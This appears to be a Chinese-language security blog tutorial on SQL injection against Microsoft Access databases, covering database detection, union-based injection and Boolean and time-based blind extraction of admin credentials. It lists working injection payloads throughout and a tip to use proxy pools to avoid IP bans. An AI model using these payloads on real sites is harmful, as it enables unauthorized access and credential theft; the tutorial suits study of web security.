SQL注入(二)--Access注入

本文最后更新于:2 年前

Access数据库注入

数据库简介

Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了 MicrosoftJet Database Engine 和 图形用户界面两项特点,是Microsoft Office 的系统程序之一。

Microsoft Office Access是微软把数据库引擎的图形用户界面和软件开发工具结合在一起的一个数据库管理系统。

注意:Access只有一个数据库,且一般搭配脚本语言ASP/ASPX。

数据库结构

库(只有一个)->表->字段->值

判断数据库类型

1
and (select count(*) from msysobjects)>0

其中msysobjects是access独有的表,且外部无法访问。如果报错,则为access数据库,正常就是msSQL(即SQL server)。

但是,access数据库没有注释符,所以只能采用%00截断的方式。如果PHP中开启了魔术引号,则要把查询内容转换为十六进制。

开始注入

注入方法

  • 联合查询
  • 逐字猜解(盲注)

联合查询详细步骤

1.判断是否存在注入点:提交单引号或运用逻辑运算

例如:

提交单引号:URL?id=1'若报错,则存在注入点

逻辑运算:URL?id=1' and 1=1#正常,URL?id=1' and 1=2#报错,则存在注入点

2.确定列名数目

1
URL?id=1' order by 列名数

这里以靶场为例,当order by后面是22时正常,23时报错,说明这个数据库有22个列名。

3.猜表名

猜对了继续联合查询:URL?id=1513' union select 1,2,......,22 from 表名,猜不到算你倒霉(当然,可以结合网站源代码猜)。这样可以爆出显示位3和15,再把要查询的内容替换上面的3和15。

4.猜列名

(基本同上)

5.爆出数据

猜出列名就会返回数据。

布尔盲注详细步骤

布尔盲注一般适用于页面没有回显字段 (不支持联合查询),且web页面返回true 或者 false,构造SQL语句,利用and,or等关键字来其后的语句 true 、 false 使web页面返回true或者false,从而达到注入的目的来获取信息。常用函数有ascii(),mid(),substr(),group_concat(),length()等。

1.判断注入点和数据库种类

(同联合查询)

2.猜表名

1
and 0 <>(select count(*)from 表名)

其中<>是不等于的意思,如果正常则存在该表。

3.猜记录数

1
and (select count(*) from 表名)=n

如果正常,则记录数为n。

4.猜列名(字段名)

1
and (select count(*) from 表名 where len(列名)>0)=1

如果正常,则存在该列。

5.猜数据长度

1
and (select count(*) from 表名 where len(列名)>n)=1

如果正常,则该列长度为n。由于密码一般采用MD5加密,所以一般猜16位或32位。

6.爆出数据

1
and (select top 1 asc(mid(admin,位数,1)) from admin) =ascii值

如果正常,则通过表转换成相应字母。

时间盲注详细步骤

时间盲注与布尔盲注相似,就是把and后面换成if(查询语句,sleep(5),0),这里不再赘述。其中如果满足if语句条件(即数据库查询语句),则睡眠5秒,否则页面无变化。

总结

联合查询法很快但是兼容性差,逐字猜解法很慢且繁琐但是兼容性好。由于Access数据库只能靠暴力猜解,因此经常会猜解不到列名,这样的话可以使用偏移注入,猜解不到表名的话可以使用社工方法。至于布尔盲注和时间盲注,我们一般采用burpsuite半自动的方式,有条件的可以配合代理池使用,以免因为请求数过多被封ip。


SQL注入(二)--Access注入
https://rookieterry.github.io/2021/08/05/SQL注入(二)-Access注入/
作者
HackerTerry
发布于
星期四, 八月 5日 2021, 5:47 下午
许可协议